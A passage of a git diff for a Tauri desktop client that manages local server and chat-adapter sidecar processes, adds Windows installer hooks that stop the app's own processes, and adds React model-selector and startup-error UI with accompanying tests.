+                    let line = format!(
+                        "sidecar exited (code={:?}, signal={:?})",
+                        payload.code, payload.signal
+                    );
+                    eprintln!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[exit] {line}"));
+                }
+                _ => {}
+            }
+        }
+    });
+
+    if let Err(err) = wait_for_server(host, port) {
+        let _ = child.kill();
+        return Err(format_server_startup_error(&err, &startup_logs));
+    }
+
+    Ok(ServerRuntime { url, child })
+}
+
+fn stop_server_sidecar(app: &AppHandle) {
+    let Some(state) = app.try_state::<ServerState>() else {
+        return;
+    };
+
+    let Ok(mut guard) = state.0.lock() else {
+        return;
+    };
+
+    if let Some(runtime) = guard.runtime.take() {
+        let _ = runtime.child.kill();
+    }
+}
+
+/// 启动 adapter sidecar。返回 Result 主要为了把"无法 spawn"和"spawn 后立刻
+/// 退出（凭据缺失）"区分开 —— 后者不算错误，是正常 default 状态。
+fn start_adapters_sidecar(app: &AppHandle) -> Result<CommandChild, String> {
+    let app_root = resolve_app_root(app)?;
+    let app_root_arg = app_root.to_string_lossy().to_string();
+
+    // adapter 内部的 WsBridge 默认连 ws://127.0.0.1:3456，但桌面端的 server
+    // 用的是 reserve_local_port() 拿到的动态端口。这里把实际端口通过
+    // ADAPTER_SERVER_URL env var 传过去 —— adapters/common/config.ts 的
+    // loadConfig() 会读它。
+    //
+    // 如果 server 还没起来 / 没拿到 URL，回退到 3456 作为最后兜底（adapter
+    // 自己有重连逻辑，等 server 上线就能连上）。
+    let server_http_url = app
+        .try_state::<ServerState>()
+        .and_then(|state| {
+            state
+                .0
+                .lock()
+                .ok()
+                .and_then(|guard| guard.runtime.as_ref().map(|r| r.url.clone()))
+        })
+        .unwrap_or_else(|| "http://127.0.0.1:3456".to_string());
+    // WsBridge 直接 `new WebSocket('${serverUrl}/ws/...')`，必须传 ws://；
+    // 不会自动从 http 转。
+    let server_ws_url = if let Some(rest) = server_http_url.strip_prefix("http://") {
+        format!("ws://{rest}")
+    } else if let Some(rest) = server_http_url.strip_prefix("https://") {
+        format!("wss://{rest}")
+    } else {
+        server_http_url.clone()
+    };
+
+    let mut sidecar = app
+        .shell()
+        .sidecar("claude-sidecar")
+        .map_err(|err| format!("resolve sidecar: {err}"))?;
+    for (key, value) in terminal_environment(&default_shell()) {
+        sidecar = sidecar.env(key, value);
+    }
+    let sidecar = sidecar.env("ADAPTER_SERVER_URL", &server_ws_url).args([
+        "adapters",
+        "--app-root",
+        &app_root_arg,
+        "--feishu",
+        "--telegram",
+    ]);
+
+    let (mut rx, child) = sidecar
+        .spawn()
+        .map_err(|err| format!("spawn adapter sidecar: {err}"))?;
+
+    // 用一个 async task 把 sidecar 的 stdout/stderr 转发出来。它退出时
+    // 整个 task 也会自然结束。
+    tauri::async_runtime::spawn(async move {
+        while let Some(event) = rx.recv().await {
+            match event {
+                CommandEvent::Stdout(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    println!("[claude-adapters] {}", line.trim_end());
+                }
+                CommandEvent::Stderr(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    eprintln!("[claude-adapters] {}", line.trim_end());
+                }
+                CommandEvent::Terminated(payload) => {
+                    // exit code != 0 是常态：用户没配凭据时 sidecar 内部会
+                    // warn + skip + process.exit(1)。这里只 info 一行，
+                    // 不要当错误冒泡。
+                    println!(
+                        "[claude-adapters] sidecar exited (code={:?}, signal={:?})",
+                        payload.code, payload.signal
+                    );
+                }
+                _ => {}
+            }
+        }
+    });
+
+    Ok(child)
+}
+
+/// spawn adapter sidecar 并把 child handle 存进 AdapterState。
+/// 在启动 + 重启路径里复用，集中处理"无法 spawn"的日志。
+fn spawn_and_track_adapters_sidecar(app: &AppHandle) {
+    match start_adapters_sidecar(app) {
+        Ok(child) => {
+            if let Some(state) = app.try_state::<AdapterState>() {
+                if let Ok(mut guard) = state.0.lock() {
+                    *guard = Some(child);
+                }
+            }
+        }
+        Err(err) => {
+            eprintln!("[desktop] failed to start adapter sidecar: {err}");
+        }
+    }
+}
+
+fn stop_adapters_sidecar(app: &AppHandle) {
+    let Some(state) = app.try_state::<AdapterState>() else {
+        return;
+    };
+    let Ok(mut guard) = state.0.lock() else {
+        return;
+    };
+    if let Some(child) = guard.take() {
+        let _ = child.kill();
+    }
+}
+
+#[cfg(target_os = "windows")]
+fn kill_windows_sidecars() {
+    for image_name in [
+        "claude-sidecar-x86_64-pc-windows-msvc.exe",
+        "claude-sidecar-aarch64-pc-windows-msvc.exe",
+        "claude-sidecar.exe",
+    ] {
+        let _ = StdCommand::new("taskkill")
+            .args(["/F", "/T", "/IM", image_name])
+            .stdout(Stdio::null())
+            .stderr(Stdio::null())
+            .status();
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{decode_terminal_output, default_utf8_locale, ensure_utf8_locale, parse_env_block};
+    use std::collections::HashMap;
+
+    #[test]
+    fn terminal_output_decoder_preserves_split_chinese_characters() {
+        let mut pending = Vec::new();
+        let bytes = "安装 Skills 成功\n".as_bytes();
+
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[..2]), "");
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[2..4]), "安");
+        assert_eq!(
+            decode_terminal_output(&mut pending, &bytes[4..]),
+            "装 Skills 成功\n"
+        );
+        assert!(pending.is_empty());
+    }
+
+    #[test]
+    fn terminal_output_decoder_keeps_incomplete_suffix_pending() {
+        let mut pending = Vec::new();
+        let bytes = "中文".as_bytes();
+
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[..4]), "中");
+        assert_eq!(pending, bytes[3..4]);
+        assert_eq!(decode_terminal_output(&mut pending, &bytes[4..]), "文");
+        assert!(pending.is_empty());
+    }
+
+    #[test]
+    fn parse_env_block_reads_nul_delimited_values() {
+        let env =
+            parse_env_block(b"PATH=/opt/homebrew/bin:/usr/bin\0NODE_PATH=/tmp/node\0EMPTY=\0");
+
+        assert_eq!(
+            env.get("PATH").map(String::as_str),
+            Some("/opt/homebrew/bin:/usr/bin")
+        );
+        assert_eq!(env.get("NODE_PATH").map(String::as_str), Some("/tmp/node"));
+        assert_eq!(env.get("EMPTY").map(String::as_str), Some(""));
+    }
+
+    #[test]
+    fn terminal_environment_forces_utf8_locale_when_shell_uses_c_locale() {
+        let mut env = HashMap::from([
+            ("LANG".to_string(), "C".to_string()),
+            ("LC_CTYPE".to_string(), "POSIX".to_string()),
+            ("LC_ALL".to_string(), "C".to_string()),
+        ]);
+
+        ensure_utf8_locale(&mut env);
+
+        assert_eq!(
+            env.get("LANG").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+        assert_eq!(
+            env.get("LC_CTYPE").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+        assert_eq!(
+            env.get("LC_ALL").map(String::as_str),
+            Some(default_utf8_locale())
+        );
+    }
+
+    #[test]
+    fn terminal_environment_keeps_existing_utf8_locale() {
+        let mut env = HashMap::from([
+            ("LANG".to_string(), "zh_CN.UTF-8".to_string()),
+            ("LC_CTYPE".to_string(), "en_US.UTF8".to_string()),
+            ("LC_ALL".to_string(), "C.UTF-8".to_string()),
+        ]);
+
+        ensure_utf8_locale(&mut env);
+
+        assert_eq!(env.get("LANG").map(String::as_str), Some("zh_CN.UTF-8"));
+        assert_eq!(env.get("LC_CTYPE").map(String::as_str), Some("en_US.UTF8"));
+        assert_eq!(env.get("LC_ALL").map(String::as_str), Some("C.UTF-8"));
+    }
+}
+
+#[cfg_attr(mobile, tauri::mobile_entry_point)]
+pub fn run() {
+    let builder = tauri::Builder::default()
+        .manage(ServerState::default())
+        .manage(AdapterState::default())
+        .manage(TerminalState::default())
+        .manage(AppExitState::default())
+        .plugin(tauri_plugin_shell::init())
+        .plugin(tauri_plugin_dialog::init())
+        .plugin(tauri_plugin_process::init())
+        .plugin(tauri_plugin_updater::Builder::new().build())
+        .invoke_handler(tauri::generate_handler![
+            get_server_url,
+            restart_adapters_sidecar,
+            prepare_for_update_install,
+            terminal_spawn,
+            terminal_write,
+            terminal_resize,
+            terminal_kill
+        ]);
+
+    // macOS: native menu bar (traffic-light overlay style)
+    #[cfg(target_os = "macos")]
+    let builder = builder
+        .menu(|app| {
+            let about_item =
+                MenuItemBuilder::with_id("nav_about", "关于 Claude Code Haha").build(app)?;
+            let settings_item = MenuItemBuilder::with_id("nav_settings", "设置...")
+                .accelerator("CmdOrCtrl+,")
+                .build(app)?;
+
+            let app_submenu = SubmenuBuilder::new(app, "Claude Code Haha")
+                .item(&about_item)
+                .separator()
+                .item(&settings_item)
+                .separator()
+                .services()
+                .separator()
+                .hide()
+                .hide_others()
+                .show_all()
+                .separator()
+                .quit()
+                .build()?;
+
+            let edit_submenu = SubmenuBuilder::new(app, "Edit")
+                .undo()
+                .redo()
+                .separator()
+                .cut()
+                .copy()
+                .paste()
+                .select_all()
+                .build()?;
+
+            let view_submenu = SubmenuBuilder::new(app, "View").fullscreen().build()?;
+
+            let window_submenu = SubmenuBuilder::new(app, "Window")
+                .minimize()
+                .maximize()
+                .close_window()
+                .build()?;
+
+            MenuBuilder::new(app)
+                .item(&app_submenu)
+                .item(&edit_submenu)
+                .item(&view_submenu)
+                .item(&window_submenu)
+                .build()
+        })
+        .on_menu_event(|app, event| match event.id().as_ref() {
+            "nav_about" => {
+                let _ = app.emit("native-menu-navigate", "about");
+            }
+            "nav_settings" => {
+                let _ = app.emit("native-menu-navigate", "settings");
+            }
+            _ => {}
+        });
+
+    let app = builder
+        .setup(|app| {
+            setup_system_tray(app)?;
+
+            let state = app.state::<ServerState>();
+            let mut guard = state
+                .0
+                .lock()
+                .map_err(|_| IoError::new(ErrorKind::Other, "server state lock poisoned"))?;
+
+            match start_server_sidecar(&app.handle()) {
+                Ok(runtime) => {
+                    guard.runtime = Some(runtime);
+                    guard.startup_error = None;
+                }
+                Err(err) => {
+                    eprintln!("[desktop] failed to start local server: {err}");
+                    guard.runtime = None;
+                    guard.startup_error = Some(err);
+                }
+            }
+            drop(guard);
+
+            // server 起来之后再起 adapter sidecar —— start_adapters_sidecar
+            // 内部会从 ServerState 读 server URL 注入 ADAPTER_SERVER_URL env，
+            // 让 adapter 连上动态端口。
+            spawn_and_track_adapters_sidecar(&app.handle());
+
+            Ok(())
+        })
+        .build(tauri::generate_context!())
+        .expect("error while building tauri application");
+
+    app.run(|app_handle, event| match event {
+        RunEvent::WindowEvent {
+            label,
+            event: WindowEvent::CloseRequested { api, .. },
+            ..
+        } if should_hide_to_tray(app_handle, &label) => {
+            api.prevent_close();
+            if let Some(window) = app_handle.get_webview_window(&label) {
+                let _ = window.hide();
+            }
+        }
+        #[cfg(target_os = "macos")]
+        RunEvent::Reopen {
+            has_visible_windows: false,
+            ..
+        } => {
+            show_main_window(app_handle);
+        }
+        RunEvent::ExitRequested { .. } => {
+            mark_app_quitting(app_handle);
+            stop_server_sidecar(app_handle);
+            stop_adapters_sidecar(app_handle);
+        }
+        RunEvent::Exit => {
+            mark_app_quitting(app_handle);
+            stop_server_sidecar(app_handle);
+            stop_adapters_sidecar(app_handle);
+        }
+        _ => {}
+    });
+}
diff --git a/cc-haha/desktop/src-tauri/windows-installer-hooks.nsh b/cc-haha/desktop/src-tauri/windows-installer-hooks.nsh
new file mode 100644
index 0000000..00d2d7a
--- /dev/null
+++ b/cc-haha/desktop/src-tauri/windows-installer-hooks.nsh
@@ -0,0 +1,25 @@
+!macro NSIS_HOOK_PREINSTALL
+  DetailPrint "Stopping running HeiCode sidecars..."
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar-x86_64-pc-windows-msvc.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar-aarch64-pc-windows-msvc.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar.exe'
+  Pop $0
+  Sleep 1000
+!macroend
+
+!macro NSIS_HOOK_PREUNINSTALL
+  DetailPrint "Stopping running HeiCode processes..."
+  nsExec::ExecToLog 'taskkill /F /T /IM heicode-desktop.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-code-desktop.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar-x86_64-pc-windows-msvc.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar-aarch64-pc-windows-msvc.exe'
+  Pop $0
+  nsExec::ExecToLog 'taskkill /F /T /IM claude-sidecar.exe'
+  Pop $0
+  Sleep 1000
+!macroend
diff --git a/cc-haha/desktop/src/api/agents.ts b/cc-haha/desktop/src/api/agents.ts
new file mode 100644
index 0000000..7364637
--- /dev/null
+++ b/cc-haha/desktop/src/api/agents.ts
@@ -0,0 +1,36 @@
+import { api } from './client'
+
+export type AgentSource =
+  | 'built-in'
+  | 'plugin'
+  | 'userSettings'
+  | 'projectSettings'
+  | 'localSettings'
+  | 'flagSettings'
+  | 'policySettings'
+
+export type AgentDefinition = {
+  agentType: string
+  description?: string
+  model?: string
+  modelDisplay?: string
+  tools?: string[]
+  systemPrompt?: string
+  color?: string
+  source: AgentSource
+  baseDir?: string
+  overriddenBy?: AgentSource
+  isActive: boolean
+}
+
+export type AgentListResponse = {
+  activeAgents: AgentDefinition[]
+  allAgents: AgentDefinition[]
+}
+
+export const agentsApi = {
+  list: (cwd?: string) => {
+    const query = cwd ? `?cwd=${encodeURIComponent(cwd)}` : ''
+    return api.get<AgentListResponse>(`/api/agents${query}`)
+  },
+}
diff --git a/cc-haha/desktop/src/api/websocket.test.ts b/cc-haha/desktop/src/api/websocket.test.ts
new file mode 100644
index 0000000..7481319
--- /dev/null
+++ b/cc-haha/desktop/src/api/websocket.test.ts
@@ -0,0 +1,92 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('./client', () => ({
+  getBaseUrl: () => 'http://127.0.0.1:3456',
+}))
+
+import { wsManager } from './websocket'
+
+type SocketHandler = (() => void) | ((event: { data: string }) => void)
+
+class FakeWebSocket {
+  static readonly CONNECTING = 0
+  static readonly OPEN = 1
+  static readonly CLOSING = 2
+  static readonly CLOSED = 3
+  static instances: FakeWebSocket[] = []
+
+  readonly url: string
+  readyState = FakeWebSocket.CONNECTING
+  onopen: SocketHandler | null = null
+  onmessage: SocketHandler | null = null
+  onclose: SocketHandler | null = null
+  onerror: SocketHandler | null = null
+  sent: string[] = []
+
+  constructor(url: string) {
+    this.url = url
+    FakeWebSocket.instances.push(this)
+  }
+
+  send(data: string) {
+    this.sent.push(data)
+  }
+
+  close() {
+    this.readyState = FakeWebSocket.CLOSED
+    ;(this.onclose as (() => void) | null)?.()
+  }
+
+  open() {
+    this.readyState = FakeWebSocket.OPEN
+    ;(this.onopen as (() => void) | null)?.()
+  }
+
+  fail() {
+    this.readyState = FakeWebSocket.CLOSED
+    ;(this.onclose as (() => void) | null)?.()
+  }
+}
+
+describe('wsManager reconnect buffering', () => {
+  const originalWebSocket = globalThis.WebSocket
+
+  beforeEach(() => {
+    vi.useFakeTimers()
+    FakeWebSocket.instances = []
+    globalThis.WebSocket = FakeWebSocket as unknown as typeof WebSocket
+    wsManager.disconnectAll()
+  })
+
+  afterEach(() => {
+    wsManager.disconnectAll()
+    globalThis.WebSocket = originalWebSocket
+    vi.useRealTimers()
+  })
+
+  it('replays queued messages after an unexpected reconnect', async () => {
+    wsManager.connect('session-reconnect')
+
+    const firstSocket = FakeWebSocket.instances[0]
+    expect(firstSocket?.url).toContain('/ws/session-reconnect')
+
+    firstSocket!.open()
+    wsManager.send('session-reconnect', { type: 'user_message', content: 'first' })
+    expect(firstSocket!.sent).toEqual([
+      JSON.stringify({ type: 'user_message', content: 'first' }),
+    ])
+
+    firstSocket!.fail()
+    wsManager.send('session-reconnect', { type: 'user_message', content: 'queued while offline' })
+
+    await vi.advanceTimersByTimeAsync(1000)
+
+    const secondSocket = FakeWebSocket.instances[1]
+    expect(secondSocket).toBeDefined()
+    secondSocket!.open()
+
+    expect(secondSocket!.sent).toEqual([
+      JSON.stringify({ type: 'user_message', content: 'queued while offline' }),
+    ])
+  })
+})
diff --git a/cc-haha/desktop/src/components/controls/ModelSelector.tsx b/cc-haha/desktop/src/components/controls/ModelSelector.tsx
new file mode 100644
index 0000000..d061f74
--- /dev/null
+++ b/cc-haha/desktop/src/components/controls/ModelSelector.tsx
@@ -0,0 +1,420 @@
+import { useEffect, useMemo, useRef, useState } from 'react'
+import { providersApi } from '../../api/providers'
+import { useTranslation } from '../../i18n'
+import { useChatStore } from '../../stores/chatStore'
+import { useProviderStore } from '../../stores/providerStore'
+import { DRAFT_RUNTIME_SELECTION_KEY, useSessionRuntimeStore } from '../../stores/sessionRuntimeStore'
+import { useSettingsStore } from '../../stores/settingsStore'
+import type { SavedProvider } from '../../types/provider'
+import type { RuntimeSelection } from '../../types/runtime'
+import type { EffortLevel, ModelInfo } from '../../types/settings'
+
+type ProviderChoice = {
+  providerId: string | null
+  providerName: string
+  isDefault: boolean
+  models: ModelInfo[]
+}
+
+type Props = {
+  value?: string
+  onChange?: (modelId: string) => void
+  runtimeKey?: string
+  disabled?: boolean
+}
+
+function buildProviderModels(
+  provider: SavedProvider,
+  labels: Record<'main' | 'haiku' | 'sonnet' | 'opus', string>,
+): ModelInfo[] {
+  const entries: Array<{ id: string; label: string }> = [
+    { id: provider.models.main.trim(), label: labels.main },
+    { id: provider.models.haiku.trim(), label: labels.haiku },
+    { id: provider.models.sonnet.trim(), label: labels.sonnet },
+    { id: provider.models.opus.trim(), label: labels.opus },
+  ]
+
+  const byId = new Map<string, { id: string; labels: string[] }>()
+  for (const entry of entries) {
+    if (!entry.id) continue
+    const existing = byId.get(entry.id)
+    if (existing) {
+      if (!existing.labels.includes(entry.label)) {
+        existing.labels.push(entry.label)
+      }
+      continue
+    }
+    byId.set(entry.id, { id: entry.id, labels: [entry.label] })
+  }
+
+  return [...byId.values()].map((entry) => ({
+    id: entry.id,
+    name: entry.id,
+    description: entry.labels.join(' · '),
+    context: '',
+  }))
+}
+
+function buildProviderChoices(
+  providers: SavedProvider[],
+  activeId: string | null,
+  providerModelsMap: Record<string, ModelInfo[]>,
+  labels: Record<'main' | 'haiku' | 'sonnet' | 'opus', string>,
+): ProviderChoice[] {
+  return providers.map((provider) => ({
+    providerId: provider.id,
+    providerName: provider.name,
+    isDefault: activeId === provider.id,
+    models:
+      providerModelsMap[provider.id]?.length > 0
+        ? providerModelsMap[provider.id]
+        : buildProviderModels(provider, labels),
+  }))
+}
+
+function resolveDefaultRuntimeSelection(
+  activeId: string | null,
+  activeProviderName: string | null,
+  providers: SavedProvider[],
+  availableModels: ModelInfo[],
+  currentModelId: string | undefined,
+): RuntimeSelection {
+  const inferredProviderId = activeId ?? (
+    activeProviderName
+      ? providers.find((provider) => provider.name === activeProviderName)?.id ?? null
+      : null
+  )
+  const inferredProvider = providers.find((provider) => provider.id === inferredProviderId) ?? null
+  const fallbackModelId =
+    inferredProvider?.models.main?.trim() ||
+    currentModelId ||
+    availableModels[0]?.id ||
+    ''
+
+  return {
+    providerId: inferredProviderId,
+    modelId: fallbackModelId,
+  }
+}
+
+export function ModelSelector({
+  value,
+  onChange,
+  runtimeKey,
+  disabled = false,
+}: Props = {}) {
+  const t = useTranslation()
+  const {
+    currentModel: storeModel,
+    availableModels,
+    effortLevel,
+    activeProviderName,
+    setModel,
+    setEffort,
+  } = useSettingsStore()
+  const {
+    providers,
+    activeId,
+    isLoading: providersLoading,
+    fetchProviders,
+  } = useProviderStore()
+  const runtimeSelection = useSessionRuntimeStore((state) =>
+    runtimeKey ? state.selections[runtimeKey] : undefined,
+  )
+  const [open, setOpen] = useState(false)
+  const [providerModelsMap, setProviderModelsMap] = useState<Record<string, ModelInfo[]>>({})
+  const ref = useRef<HTMLDivElement>(null)
+  const requestedProvidersRef = useRef(false)
+
+  const EFFORT_OPTIONS: { value: EffortLevel; label: string }[] = [
+    { value: 'low', label: t('settings.general.effort.low') },
+    { value: 'medium', label: t('settings.general.effort.medium') },
+    { value: 'high', label: t('settings.general.effort.high') },
+    { value: 'max', label: t('settings.general.effort.max') },
+  ]
+
+  const isControlled = value !== undefined
+  const isRuntimeScoped = !isControlled && runtimeKey !== undefined
+
+  useEffect(() => {
+    if (!isRuntimeScoped || providersLoading || requestedProvidersRef.current) return
+    requestedProvidersRef.current = true
+    void fetchProviders()
+  }, [fetchProviders, isRuntimeScoped, providersLoading])
+
+  useEffect(() => {
+    if (!isRuntimeScoped || providers.length === 0) return
+    let cancelled = false
+    void Promise.all(
+      providers.map(async (provider) => {
+        try {
+          const result = await providersApi.listProviderModels(provider.id)
+          const models: ModelInfo[] = (result.models ?? []).map((model) => ({
+            id: model.id,
+            name: model.id,
+            description: model.owned_by || '',
+            context: '',
+          }))
+          return [provider.id, models] as const
+        } catch {
+          return [provider.id, []] as const
+        }
+      }),
+    ).then((entries) => {
+      if (cancelled) return
+      setProviderModelsMap(Object.fromEntries(entries))
+    })
+    return () => {
+      cancelled = true
+    }
+  }, [isRuntimeScoped, providers])
+
+  useEffect(() => {
+    if (!open) return
+    const handleClick = (e: MouseEvent) => {
+      if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false)
+    }
+    const handleEsc = (e: KeyboardEvent) => {
+      if (e.key === 'Escape') setOpen(false)
+    }
+    document.addEventListener('mousedown', handleClick)
+    document.addEventListener('keydown', handleEsc)
+    return () => {
+      document.removeEventListener('mousedown', handleClick)
+      document.removeEventListener('keydown', handleEsc)
+    }
+  }, [open])
+
+  const roleLabels = useMemo(
+    () => ({
+      main: t('settings.providers.mainModel'),
+      haiku: t('settings.providers.haikuModel'),
+      sonnet: t('settings.providers.sonnetModel'),
+      opus: t('settings.providers.opusModel'),
+    }),
+    [t],
+  )
+
+  const providerChoices = useMemo(
+    () => buildProviderChoices(
+      providers,
+      activeId,
+      providerModelsMap,
+      roleLabels,
+    ),
+    [activeId, providerModelsMap, providers, roleLabels],
+  )
+
+  const selectedModel = isControlled
+    ? availableModels.find((model) => model.id === value) || null
+    : storeModel
+
+  const activeRuntimeSelection = isRuntimeScoped
+    ? runtimeSelection ?? resolveDefaultRuntimeSelection(
+      activeId,
+      activeProviderName,
+      providers,
+      availableModels,
+      storeModel?.id,
+    )
+    : null
+
+  const selectedProviderChoice = activeRuntimeSelection
+    ? providerChoices.find((choice) => choice.providerId === activeRuntimeSelection.providerId) ?? null
+    : null
+
+  const selectedRuntimeModel = activeRuntimeSelection
+    ? selectedProviderChoice?.models.find((model) => model.id === activeRuntimeSelection.modelId)
+      ?? {
+        id: activeRuntimeSelection.modelId,
+        name: activeRuntimeSelection.modelId,
+        description: '',
+        context: '',
+      }
+    : null
+
+  const buttonModelLabel = isRuntimeScoped
+    ? selectedRuntimeModel?.name ?? storeModel?.name ?? t('model.selectModel')
+    : selectedModel?.name ?? t('model.selectModel')
+  const buttonProviderLabel = isRuntimeScoped
+    ? selectedProviderChoice?.providerName ?? activeProviderName ?? t('settings.providers.officialName')
+    : null
+
+  const handleRuntimeSelect = (selection: RuntimeSelection) => {
+    if (!runtimeKey) return
+    useSessionRuntimeStore.getState().setSelection(runtimeKey, selection)
+    if (runtimeKey !== DRAFT_RUNTIME_SELECTION_KEY) {
+      useChatStore.getState().setSessionRuntime(runtimeKey, selection)
+    }
+    setOpen(false)
+  }
+
+  return (
+    <div ref={ref} className="relative">
+      <button
+        onClick={() => !disabled && setOpen(!open)}
+        disabled={disabled}
+        className="flex max-w-[280px] items-center gap-2 rounded-full bg-[var(--color-surface-container-low)] px-3 py-1.5 text-xs font-medium text-[var(--color-text-secondary)] transition-colors hover:bg-[var(--color-surface-hover)] disabled:cursor-not-allowed disabled:opacity-50"
+      >
+        <div className="flex min-w-0 flex-1 items-center gap-2">
+          <span className="min-w-0 flex-1 truncate text-sm font-semibold text-[var(--color-text-primary)]">
+            {buttonModelLabel}
+          </span>
+          {buttonProviderLabel && (
+            <span className="max-w-[108px] flex-shrink-0 truncate text-[11px] text-[var(--color-text-tertiary)]">
+              {buttonProviderLabel}
+            </span>
+          )}
+        </div>
+        <span className="material-symbols-outlined flex-shrink-0 text-[12px]">expand_more</span>
+      </button>
+
+      {open && (
+        <div className="absolute right-0 bottom-full z-50 mb-2 w-[360px] rounded-xl border border-[var(--color-border)] bg-[var(--color-surface-container-lowest)] shadow-[var(--shadow-dropdown)]">
+          <div className="max-h-[420px] overflow-y-auto p-3">
+            <div className="mb-2 px-1 text-[10px] font-bold uppercase tracking-widest text-[var(--color-outline)]">
+              {t('model.configuration')}
+            </div>
+
+            {isRuntimeScoped ? (
+              <div className="space-y-3">
+                {providerChoices.map((choice) => (
+                  <div key={choice.providerId ?? 'official'} className="space-y-1.5">
+                    <div className="flex items-center justify-between px-2 pt-1">
+                      <span className="truncate text-[11px] font-semibold tracking-[0.01em] text-[var(--color-text-secondary)]">
+                        {choice.providerName}
+                      </span>
+                      {choice.isDefault && (
+                        <span className="flex-shrink-0 text-[10px] font-medium text-[var(--color-text-tertiary)]">
+                          {t('settings.providers.default')}
+                        </span>
+                      )}
+                    </div>
+
+                    <div className="space-y-1">
+                      {choice.models.map((model) => {
+                        const isSelected =
+                          activeRuntimeSelection?.providerId === choice.providerId &&
+                          activeRuntimeSelection.modelId === model.id
+                        return (
+                          <button
+                            key={`${choice.providerId ?? 'official'}:${model.id}`}
+                            onClick={() => handleRuntimeSelect({ providerId: choice.providerId, modelId: model.id })}
+                            className={`
+                              w-full rounded-lg border px-3 py-2.5 text-left transition-colors
+                              ${isSelected
+                                ? 'border-[var(--color-model-option-selected-border)] bg-[var(--color-model-option-selected-bg)]'
+                                : 'border-transparent hover:bg-[var(--color-surface-hover)]'
+                              }
+                            `}
+                          >
+                            <div className="flex items-start gap-3">
+                              <div className={`mt-0.5 flex h-4 w-4 flex-shrink-0 items-center justify-center rounded-full border-2 ${
+                                isSelected ? 'border-[var(--color-brand)]' : 'border-[var(--color-outline)]'
+                              }`}>
+                                {isSelected && (
+                                  <div className="h-2 w-2 rounded-full bg-[var(--color-brand)]" />
+                                )}
+                              </div>
+
+                              <div className="min-w-0 flex-1">
+                                <div className="truncate text-sm font-semibold text-[var(--color-text-primary)]">
+                                  {model.name}
+                                </div>
+                                {model.description && (
+                                  <div className="mt-0.5 truncate pr-[6px] text-[10px] text-[var(--color-text-tertiary)]">
+                                    {model.description}
+                                  </div>
+                                )}
+                              </div>
+                            </div>
+                          </button>
+                        )
+                      })}
+                    </div>
+                  </div>
+                ))}
+              </div>
+            ) : (
+              <div className="space-y-1">
+                {availableModels.map((model) => {
+                  const isSelected = model.id === selectedModel?.id
+                  return (
+                    <button
+                      key={model.id}
+                      onClick={() => {
+                        if (isControlled) {
+                          onChange?.(model.id)
+                        } else {
+                          void setModel(model.id)
+                        }
+                        setOpen(false)
+                      }}
+                      className={`
+                        w-full rounded-lg px-3 py-2.5 text-left transition-colors
+                        ${isSelected
+                          ? 'border border-[var(--color-model-option-selected-border)] bg-[var(--color-model-option-selected-bg)]'
+                          : 'hover:bg-[var(--color-surface-hover)]'
+                        }
+                      `}
+                    >
+                      <div className="flex items-center gap-3">
+                        <div className={`flex h-4 w-4 flex-shrink-0 items-center justify-center rounded-full border-2 ${
+                          isSelected ? 'border-[var(--color-brand)]' : 'border-[var(--color-outline)]'
+                        }`}>
+                          {isSelected && (
+                            <div className="h-2 w-2 rounded-full bg-[var(--color-brand)]" />
+                          )}
+                        </div>
+
+                        <div className="min-w-0 flex-1">
+                          <div className="text-sm font-semibold text-[var(--color-text-primary)]">{model.name}</div>
+                          {model.description && (
+                            <div className="mt-0.5 truncate text-[10px] text-[var(--color-text-tertiary)]">
+                              {model.description}
+                            </div>
+                          )}
+                        </div>
+                      </div>
+                    </button>
+                  )
+                })}
+              </div>
+            )}
+          </div>
+
+          {!isControlled && !isRuntimeScoped && (
+            <div className="border-t border-[var(--color-border)] p-3">
+              <div className="mb-2 px-1 text-[10px] font-bold uppercase tracking-widest text-[var(--color-outline)]">
+                {t('model.effort')}
+              </div>
+              <div className="grid grid-cols-4 gap-1.5">
+                {EFFORT_OPTIONS.map((opt) => {
+                  const isSelected = opt.value === effortLevel
+                  return (
+                    <button
+                      key={opt.value}
+                      onClick={() => {
+                        void setEffort(opt.value)
+                        setOpen(false)
+                      }}
+                      className={`
+                        rounded-lg py-2 text-center text-xs font-semibold transition-colors
+                        ${isSelected
+                          ? 'bg-[var(--color-brand)] text-white'
+                          : 'bg-[var(--color-surface-container-high)] text-[var(--color-text-secondary)] hover:bg-[var(--color-surface-hover)]'
+                        }
+                      `}
+                    >
+                      {opt.label}
+                    </button>
+                  )
+                })}
+              </div>
+            </div>
+          )}
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/cc-haha/desktop/src/components/layout/StartupErrorView.tsx b/cc-haha/desktop/src/components/layout/StartupErrorView.tsx
new file mode 100644
index 0000000..7238fcf
--- /dev/null
+++ b/cc-haha/desktop/src/components/layout/StartupErrorView.tsx
@@ -0,0 +1,99 @@
+import { Copy, RefreshCw } from 'lucide-react'
+import { useMemo, useState } from 'react'
+import { useTranslation } from '../../i18n'
+import { Button } from '../shared/Button'
+
+const LOG_MARKER = '\n\nRecent server logs:\n'
+
+export function splitStartupError(error: string) {
+  const markerIndex = error.indexOf(LOG_MARKER)
+  if (markerIndex === -1) {
+    return {
+      message: error,
+      logs: '',
+      diagnostics: error,
+    }
+  }
+
+  const message = error.slice(0, markerIndex).trim()
+  const logs = error.slice(markerIndex + LOG_MARKER.length).trim()
+  return {
+    message,
+    logs,
+    diagnostics: `${message}\n\nRecent server logs:\n${logs}`,
+  }
+}
+
+type StartupErrorViewProps = {
+  error: string
+}
+
+export function StartupErrorView({ error }: StartupErrorViewProps) {
+  const t = useTranslation()
